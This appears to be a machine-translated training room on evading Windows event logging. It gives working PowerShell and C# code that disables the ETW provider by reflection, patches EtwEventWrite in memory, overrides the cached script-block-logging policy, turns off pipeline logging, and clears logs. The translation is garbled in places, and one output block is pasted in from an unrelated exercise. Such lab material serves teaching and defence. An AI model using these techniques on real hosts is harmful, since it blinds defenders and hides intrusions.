Introduction

攻击者路径中最大的障碍之一是日志记录和监控,与防病毒和 EDREndpoint Dection and Response)解决方案不同,日志记录创建了一个解决方案。可以分析恶意活动的活动的物理记录。

设备的监控方式取决于公司的环境和偏好。通常,监控解决方案将从主机设备开始,收集应用程序或事件日志。它们可以保留在设备上或发送到事件收集器/转发器,一旦它们离开设备,防御团队就会决定如何聚合它们;这通常是使用索引器和 SIEM (Security Information and Event Manager) 来完成的。

Graph depicting data flow from device to event collecter/forwader to data indexer to a SIEM server

一旦从设备上获取日志,攻击者可能没有太多控制权,但可以控制设备上的内容及其获取方式。攻击者的主要目标是由 ETW(Event Tracing for Windows) 管理和控制的事件日志。

该房间将解决事件跟踪及其弱点,以允许攻击者逃避或禁用基于 ETW 的解决方案。

Learning Objectives

  • 了解事件追踪的技术和实现。
  • 了解如何创建规避 ETW 的技术。
  • 学习如何将理论规避概念应用到代码中。

在开始本房间之前,请熟悉基本的 Windows 使用和功能;我们建议您完成 Windows 内部知识 房间,也建议您具备 C 和 PowerShell 的基本编程知识,但不是必需的。 。

这将包含大量信息。请系好安全带并找到最近的灭火器。

Event Tracing

如前所述,Windows 中的几乎所有事件日志记录功能都是由 ETW 在应用程序和内核级别处理的,虽然还有其他服务(例如事件日志记录和跟踪日志记录),但这些服务要么是 ETW 的扩展,要么对攻击者来说不太常见。

组件 用途
控制器 构建和配置会话
提供者 生成事件
消费者 解读事件
我们将在下一个任务中更深入地介绍每个组件以及如何对其进行检测。

虽然对于攻击者来说,事件 ID 的重要性不如组件,但事件 ID 是 Windows 日志记录的核心功能。事件以 XML(可扩展标记语言)格式发送和传输,这是提供商如何定义和实现事件的标准。事件 ID 4624:帐户已成功登录。

Event ID:4624
Source:Security
Category:Logon/Logoff
Message:An account was successfully logged on.

Subject:
Security ID: NT AUTHORITY\\SYSTEM
Account Name: WORKSTATION123$
...
[ snip ]
...
Logon Type: 7

New Logon:
Security ID: CORPDOMAIN\\john.doe
Account Name: john.doe
...
[ snip ]
...
Process Information:
Process ID: 0x314

有关事件日志记录的更多信息,请查看 Windows 事件日志室。
至此,我们明白了为什么日志记录可以扰乱攻击者,但是 ETW 与攻击者到底有什么关系呢?ETW 对大多数操作系统具有可见性,而日志记录通常具有有限的可见性或细节。

由于 ETW 的可见性,攻击者应始终注意执行操作时可能生成的事件,攻击 ETW 的最佳方法是在维护时尽可能限制其对您正在执行的操作的洞察。环境完整性。

在接下来的任务中,我们将涵盖 ETW 检测、ETW 规避和其他基于 ETW 的解决方案。

Approaches to Log Evasion

在深入研究更现代和技术性的规避技术之前,让我们先看看可用的各种方法及其对攻击者和防御者的影响。

当第一次考虑和评估日志规避时,您可能会认为简单地销毁或篡改日志可能是可行的。

遵循安全最佳实践,现代环境通常采用日志转发,这意味着 SOC 会将日志从主机移动或“转发”到中央服务器或索引器,即使攻击者可以从主机中删除日志。主机上,它们可能已经脱离设备并受到保护。

假设攻击者在转发之前确实销毁了所有日志,或者如果没有转发日志,那么攻击者必须首先考虑环境完整性;如果没有日志来自设备,这可能会引起严重怀疑和即使攻击者确实控制了删除和转发的日志,防御者仍然可以跟踪篡改行为。

Event ID Purpose
1102 清除 Windows 安全审核日志时记录
104 清除日志文件时记录
1100 Windows 事件日志服务关闭时记录

上述事件 ID 可以监视销毁日志或“日志粉碎”的过程。这对试图篡改或销毁日志的攻击者构成了明显的风险,尽管可以进一步绕过这些缓解措施或篡改日志,但攻击者必须这样做。评估风险时,您通常不了解安全实践,并通过尝试此方法来承担 OPSEC(操作安全)风险。

如果之前的做法过于激进,我们该如何从战略上解决这个问题呢?

攻击者必须关注恶意技术可能导致的日志,以保持环境的完整性完好无损,他们可以利用或修改已发布的方法。

大多数已发布的技术都将针对 ETW 组件,因为这将使攻击者能够最大程度地控制跟踪过程。

这个房间将分解一些最常见的已发表技术和允许广泛控制的更现代的技术。

Tracing Instrumentation

ETW 分为三个独立的组件,共同管理和关联 Windows 中的数据,这与通用 XML 数据没有什么不同,使其易于处理和解释。

事件控制器用于构建和配置会话。为了扩展此定义,我们可以将控制器视为确定数据流动方式和位置的应用程序,“控制器是定义数据流大小和位置的应用程序。日志文件、启动和停止事件跟踪会话、启用提供程序,以便他们可以将事件记录到会话、管理缓冲池的大小以及会话的执行统计信息。”

事件提供程序用于生成事件。为了扩展此定义,控制器将告诉提供程序如何操作,然后从其指定源收集日志,“提供程序是在提供程序之后包含事件跟踪工具的应用程序。注册自身后,控制器可以启用或禁用提供程序中的事件跟踪。通常,启用的提供程序会生成事件,而禁用的提供程序则不会。”

还有四种不同类型的提供商,支持各种功能和遗留系统。

Provider Purpose
MOF (Managed Object Format) 定义来自 MOF 类的事件,一次由一个跟踪会话启用。
WPP (Windows Software Trace Preprocessor) 与 TMF(跟踪消息格式)文件关联,一次由一个跟踪会话启用。
基于清单的 定义清单中的事件 一次最多可启用八个跟踪会话。
TraceLogging 包含所有必需信息的自描述事件一次由最多八个跟踪会话启用。

事件使用者用于解释事件。为了扩展此定义,使用者将同时选择一个或多个会话中的事件,这在 Microsoft 文档中最常见。消费者是选择一个或多个事件跟踪会话作为事件源的应用程序,消费者可以同时从多个事件跟踪会话请求事件;消费者可以接收存储在日志文件中或会话中的事件。实时传递事件。”

这些组件中的每一个都可以组合在一起,以充分理解和描述 ETW 中的数据/会话流。

从开始到结束,事件都来自提供者,将确定数据发送到何处以及消费者将如何保存或传递日志以进行解释或分析。

现在我们了解了 ETW 的检测方式,这对攻击者有何影响?我们之前提到过在保持完整性的同时限制可见性的目标,我们可以通过定位组件来限制洞察力的特定方面,同时保持大部分数据流。针对每个 ETW 组件的特定技术的简要列表。

Component Techniques
Provider PSEtwLogProvider 修改、组策略接管、日志管道滥用、类型创建
Controller 修补 EtwEventWrite、运行时跟踪篡改、
Consumers 日志粉碎、日志篡改

Reflection for Fun and Silence

在 PowerShell 中,ETW 提供程序从 .NET 程序集加载到会话中:来自 [Microsoft 文档](https://docs.microsoft.com/en-us/dotnet/standard/ assembly)。“程序集构成了基于 .NET 的应用程序的部署、版本控制、重用、激活范围和安全权限的基本单元。”然而,我们可以通过了解它们来使它们更加熟悉。以熟悉的格式生成,例如 exe(可执行文件)或 dll(动态链接库)。

在 PowerShell 会话中,大多数 .NET 程序集在启动时都在与用户相同的安全上下文中加载,由于会话与加载的程序集具有相同的权限级别,因此我们可以通过 PowerShell From 修改程序集字段和值。 O ‘Reilly“反射允许您查看程序集内部并找出其特征。在 .NET 程序集中,存储了描述程序集所包含内容的信息,从某种意义上说,.NET 程序集是自描述的,至少在正确询问的情况下是这样。”

ETWEvent Tracing for Windows)的上下文中,攻击者可以反映 ETW 事件提供程序集并将字段 m_enabled 设置为 $null

从较高层次来看,PowerShell 反射可以分为四个步骤:

  1. 获取PSEtwLogProvider的.NET程序集。
  2. etwProvider 字段存储空值。
  3. m_enabled字段设置为之前存储的值。

在第一步中,我们需要获取存储该程序集的类型,以便在下一步中访问其内部字段。

$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')

在第二步中,我们存储要使用的前一个程序集中的值 ($null)。

$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)

在第三步中,我们将步骤一起编译,以使用前一行中存储的值覆盖“m_enabled”字段。

[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0);

我们可以将这些步骤一起编译并将它们附加到恶意 PowerShell 脚本中,并使用提供的 PowerShell 脚本来试验此技术。

为了证明该脚本的有效性,我们可以执行它并测量给定命令返回的事件数。

Before

PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
7
PS C:\Users\Administrator> whoami
Tryhackme\administrator
PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
11

After

PS C:\Users\Administrator>.\reflection.ps1
PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
18
PS C:\Users\Administrator> whoami
Tryhackme\administrator
PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
18

在第一个终端中,我们看到运行 whoami 命令时生成了四个事件。在第二个终端中执行脚本后,我们没有看到运行命令时生成的任何事件。从这个比较中,我们还可以看到 PowerShell 脚本创建了。七个事件;在评估方法时应考虑这一点。

Patching Tracing Functions

ETW 从每个新进程的运行时加载,通常源自 CLRCcommon Language Runtime)。在新进程中,发送 ETW 事件。攻击者可以将预定义的操作码写入 ETW 的内存函数中,以修补和禁用功能。在深入研究此技术的具体细节之前,让我们先观察一下修补的情况。在最基本的定义中,我们试图强制应用程序在到达我们想要修补的功能之前退出或返回。

为了更好地理解这个概念,我们创建了一个基本的伪函数,它将执行数学运算,然后返回一个整数。如果在原始返回之前插入返回,则程序将无法完成后续行。

int x = 1
int y = 3
return x + y

// output: 4
int x = 1
return x
int y = 3
return x + y

// output: 1

Diagram depicting the LIFO structure. Something is pushed to the top then when taken out the last item put in is popped out

使这个高级概念适应我们的目标,如果我们能够确定如何在内存中调用返回值,我们可以将其写入函数并期望它在任何其他行之前运行我们期望返回值被放置在顶部,因为。堆栈使用 LIFO (Last In First Out) 结构。右侧是 LIFO 结构如何工作的简图。当我们更深入地研究这项任务时,我们将扩展后进先出结构的运作方式。

现在我们对 return 语句和 LIFO 结构有了更多的了解,让我们回到它如何应用于事件跟踪,在编写任何代码或识别修补函数的步骤之前,我们需要识别恶意函数和可能的点。通过之前的研究,我们知道,从 CLR 中,ETW 是由函数 EtwEventWrite 编写的。为了识别“补丁点”或返回,我们可以查看该函数的反汇编。

779f2459 33cc		       xor	ecx, esp
779f245b e8501a0100 call ntdll!_security_check_cookie
779f2460 8be5 mov esp, ebp
779f2462 5d pop ebp
779f2463 c21400 ret 14h

在观察函数时,我们正在寻找一个将返回函数或停止函数执行的操作码,通过研究或熟悉汇编指令,我们可以确定“ret 14h”将结束函数并返回到先前的应用程序。 。

IA-32 文档 中,“ret 指令将控制转移到位于在堆栈上。”

用更专业的术语来说,ret 将弹出放置在堆栈上的最后一个值。ret (14h) 的参数将指定弹出堆栈后释放的字节或字数。

为了对该函数进行中性化,攻击者可以将“ret14h”、“c21400”的操作码字节写入内存来修补该函数。

为了更好地理解我们试图在堆栈上实现的目标,我们可以将操作码应用于之前的 LIFO 图。

Identical diagram to previous but with assembly included with ret 14h being pushed to the top and being popped out

图2.

现在我们已经对该技术背后的核心原理有了基本的了解,让我们看看它的技术应用方式。

在较高层面上,ETW 修补可以分为五个步骤:

  1. 获取EtwEventWrite的句柄
    2.修改函数的内存权限
  2. 将操作码字节写入内存
    4.重置该功能的内存权限(可选)
  3. 刷新指令缓存(可选)

第一步,我们需要获取“EtwEventWrite”地址的句柄,该函数存储在“ntdll”中。我们将首先使用“LoadLibrary”加载库,然后使用“GetProcAddress”获取句柄。

var ntdll = Win32.LoadLibrary("ntdll.dll");
var etwFunction = Win32.GetProcAddress(ntdll, "EtwEventWrite");

第二步,我们需要修改函数的内存权限,以允许我们写入函数。函数的权限由“flNewProtect”参数定义;“0x40”启用 X、R 或 RW 访问(内存保护约束)。

uint oldProtect;
Win32.VirtualProtect(
etwFunction,
(UIntPtr)patch.Length,
0x40,
out oldProtect
);

在第三步,该函数具有我们需要写入的权限,并且我们有预定义的操作码来修补它,因为我们正在写入函数而不是进程,所以我们可以使用臭名昭著的“Marshal.Copy”。编写我们的操作码。

patch(new byte[] { 0xc2, 0x14, 0x00 });
Marshal.Copy(
patch,
0,
etwEventSend,
patch.Length
);

在第四步,我们可以开始清理步骤以将内存权限恢复原样。

VirtualProtect(etwFunction, 4, oldProtect, &oldOldProtect);

在第五步,我们可以确保修补后的函数将从指令缓存中执行。

Win32.FlushInstructionCache(
etwFunction,
NULL
);

我们可以将这些步骤一起编译并将它们附加到恶意脚本或会话中,并使用提供的 C# 脚本来试验该技术。

操作码写入内存后,我们可以再次查看反汇编函数来观察补丁。

779f23c0 c21400		    ret	14h
779f23c3 00ec add ah, ch
779f23c5 83e4f8 and esp, 0FFFFFFF8h
779f23c8 81ece0000000 sub esp, 0E0h

在上面的反汇编中,我们准确地看到了 LIFO 图(图 2)中所描绘的内容。

一旦函数在内存中被修补,当调用 EtwEventWrite 时它总是会返回。

尽管这是一种精心设计的技术,但根据您的环境,它可能不是最好的方法,因为它可能限制比您想要的完整性更多的日志。

Providers via Policy

ETW 有很多开箱即用的覆盖范围,但除非指定,否则它将禁用某些功能,因为它们可以创建大量日志,可以通过修改 GPO (Group *) 来启用这些功能。两个最流行的 GPO 提供商提供了 PowerShell 的覆盖范围,包括 脚本块日志记录模块日志记录

脚本块日志记录将记录在 PowerShell 会话中执行的任何脚本块 在 PowerShell v4 中引入并在 PowerShell v5 中改进,ETW 提供程序将报告两个事件 ID。

Event ID Purpose
4103 记录命令调用
4104 记录脚本块的执行

事件 ID 4104 对于攻击者来说最为常见,如果未正确混淆或隐藏,可能会暴露他们的脚本。下面是 4104 日志的简短示例。

Event ID:4104
Source:Microsoft-Windows-PowerShell
Category:Execute a Remote Command
Log:Microsoft-Windows-PowerShell/Operational
Message:Creating Scriptblock text (1 of 1):
Write-Host PowerShellV5ScriptBlockLogging

ScriptBlock ID: 6d90e0bb-e381-4834-8fe2-5e076ad267b3
Path:

模块日志记录是一个非常详细的提供程序,它将记录 PowerShell v3 中引入的所有模块和数据,PowerShell 会话中的每个模块都充当提供程序并记录其自己的模块,与之前的提供程序类似,这些模块将写入事件。事件 ID 4103。以下是 4103 日志的示例。

Event ID:4103
Source:Microsoft-Windows-PowerShell
Category:Executing Pipeline
Log:Microsoft-Windows-PowerShell/Operational

Message:CommandInvocation(Write-Host): "Write-Host"
ParameterBinding(Write-Host): name="Object";
value="TestPowerShellV5"

Context:
Severity = Informational
Host Name = ConsoleHost
...
[snip]
...
User = DOMAIN\\username
Connected User =
Shell ID = Microsoft.PowerShell

由于创建的日志数量较多,事件 ID 4103 对于攻击者来说不太常见,这通常会导致其严重程度较低或被完全禁用。

尽管攻击者有可用的 ETW 补丁,但它们可能并不总是实用或逃避日志记录的最佳方法。作为替代方案,攻击者可以瞄准这些提供程序来缓慢限制可见性,同时不像其他技术那样明显或嘈杂。

禁用这些提供程序的总体目标是限制您所需组件的可见性,同时仍然使环境看起来未被篡改。

Group Policy Takeover

模块日志记录和脚本块日志记录提供程序均通过组策略启用,特别是“管理模板 -> Windows 组件 -> Windows PowerShell”,如任务 4 中所述,在 PowerShell 会话中,系统程序集加载到相同的安全上下文中。这意味着攻击者与缓存 GPO 设置的程序集具有相同的权限级别,攻击者可以使用反射获取实用程序字典并修改任一 PowerShell 提供程序的组策略。

在高层,组策略接管可以分为三个步骤:

  • 从实用程序缓存获取组策略设置。
    将通用提供程序修改为“0”。
    修改调用或模块定义。

我们将分解一个示例 PowerShell 脚本来识别每个步骤,并在下面深入解释每个步骤。

第一步,我们必须使用反射来获取“System.Management.Automation.Utils”的类型并识别GPO缓存字段:“cachedGroupPolicySettings”。

$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)

第二步,我们可以利用 GPO 变量将任一事件提供程序设置修改为“0”,以控制 4104 事件,限制脚本执行的可见性。修改可以通过直接写入对象或注册表来完成。

$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0

在第三步中,我们可以使用任何其他提供程序设置重复上一步,我们希望 EnableScriptBlockInvokingLogging 将控制 4103 事件,从而限制 cmdlet 和管道执行的可见性。

$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0

我们可以将这些步骤一起编译并将它们附加到恶意 PowerShell 脚本中,并使用提供的 PowerShell 脚本来试验此技术。

注意:该脚本的核心功能与上述代码相同,但略有修改以符合 PowerShell v.5.1 更新。

为了证明该脚本的有效性,我们可以执行它并测量给定命令返回的事件数。

Before

PS C:\Users\Administrator\Desktop> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
0
PS C:\Users\Administrator\Desktop> whoami
Tryhackme\administrator
PS C:\Users\Administrator\Desktop> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
3

After

PS C:\Users\THM-Analyst> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Practice\Hunting_Metasploit.evtx -FilterXPath '*/System/EventID=3 and */EventData/Data[@Name="DestinationPort"] and */EventData/Data=4444'

ProviderName: Microsoft-Windows-Sysmon

TimeCreated Id LevelDisplayName Message
----------- -- ---------------- -------
1/5/2021 2:21:32 AM 3 Information Network connection detected:...

在第一个终端中,我们看到运行 PowerShell 脚本时生成了三个事件。在第二个终端中,执行脚本后我们看到运行命令没有生成任何事件。

Abusing Log Pipeline

在 PowerShell 中,每个模块或管理单元都有一个设置,任何人都可以使用它来修改其日志记录功能。来自 Microsoft docs“。当 LogPipelineExecutionDetails 属性值为 TRUE ($true) 时,Windows PowerShell 将会话中的 cmdlet 和函数执行事件写入Windows PowerShell 登录事件查看器。”攻击者可以在任何 PowerShell 会话中将此值更改为“$false”,以禁用该特定会话的模块日志记录。Microsoft 文档甚至指出可以禁用用户会话的日志记录。禁用日志记录,使用相同的命令序列将属性值设置为 FALSE ($false)。”

在高层,日志管道技术可以分为四个步骤:

  1. 获取目标模块。
  2. 将模块执行详细信息设置为“$false”。
  3. 获取模块管理单元。
  4. 将管理单元执行详细信息设置为“$false”。
$module = Get-Module Microsoft.PowerShell.Utility # Get target module
$module.LogPipelineExecutionDetails = $false # Set module execution details to false
$snap = Get-PSSnapin Microsoft.PowerShell.Core # Get target ps-snapin
$snap.LogPipelineExecutionDetails = $false # Set ps-snapin execution details to false

上面的脚本块可以附加到任何 PowerShell 脚本或在会话中运行以禁用当前导入模块的模块日志记录。

Real World Scenario

在这种情况下,您是红队操作员,被分配构建一个规避脚本来禁用 ETW 并执行编译的二进制文件。在这种情况下,环境完整性至关重要,蓝队正在积极监控环境。他们主要关注的是监视网络流量;如果停止,他们可能会警告您的连接,但是,他们不会使用在这个房间中获得的知识来转发日志。脚本来执行二进制文件或命令而不受干扰。

为了开始这个场景,我们需要考虑我们所处的环境。我们得到了他们正在监视网络流量的信息,但是他们是如何实现这一点的?他们是否安装了 Sysmon?可以通过手动枚举或查找设置以启用本会议室中讨论的功能来回答问题。

通过一些枚举,我们可以确定 PowerShell 脚本块和模块日志记录已启用。解决此问题的最佳方法是从 PowerShell 会话的缓存中禁用这两个 GPO 设置。这可以通过使用位于桌面上的 GPO 旁路来实现。如任务 8 中所讨论。

太棒了!从现在开始,我们的会话将保持沉默,但是脚本运行时生成的那些烦人的日志呢?根据提供的信息,我们知道日志不会被转发,因此我们可以删除生成的任何 4104 或 4103 日志。互联网连接不是源自 PowerShell,我们无需担心它在静默会话中受到干扰。要删除日志,我们可以使用 PowerShell 脚本块中的 Event Viewer GUI 或 Remove-EventLog。日志位于 Microsoft/Windows/PowerShell/OperationalMicrosoft-Windows-PowerShell。然后,您可以在 GUI 中的操作下选择 清除日志 或运行 PowerShell cmdlet 来删除必要的日志。

此时,我们应该满足所有参数:

  • 在需要时禁用日志记录
  • 维护环境完整性
    -清理我们的足迹

现在我们可以通过运行二进制文件“agent.exe”来测试我们的方法,如果正确实施,桌面上将返回一个标志,如果没有正确实施,则会出现“二进制文件泄漏,你被抓住了”,这意味着该二进制文件。在某个时刻出现在日志中,并且您失败了该场景。

Conclusion

正如在这个房间中提到的,逃避事件检测的主要目标是尽可能保持环境干净和完整,同时防止记录会话或代码。

我们已经介绍了一些值得注意的技术,其中大多数都采用了激进的方法,要获得适当级别的“正常”日志,您将需要修改其中几个脚本来操作其他正常功能。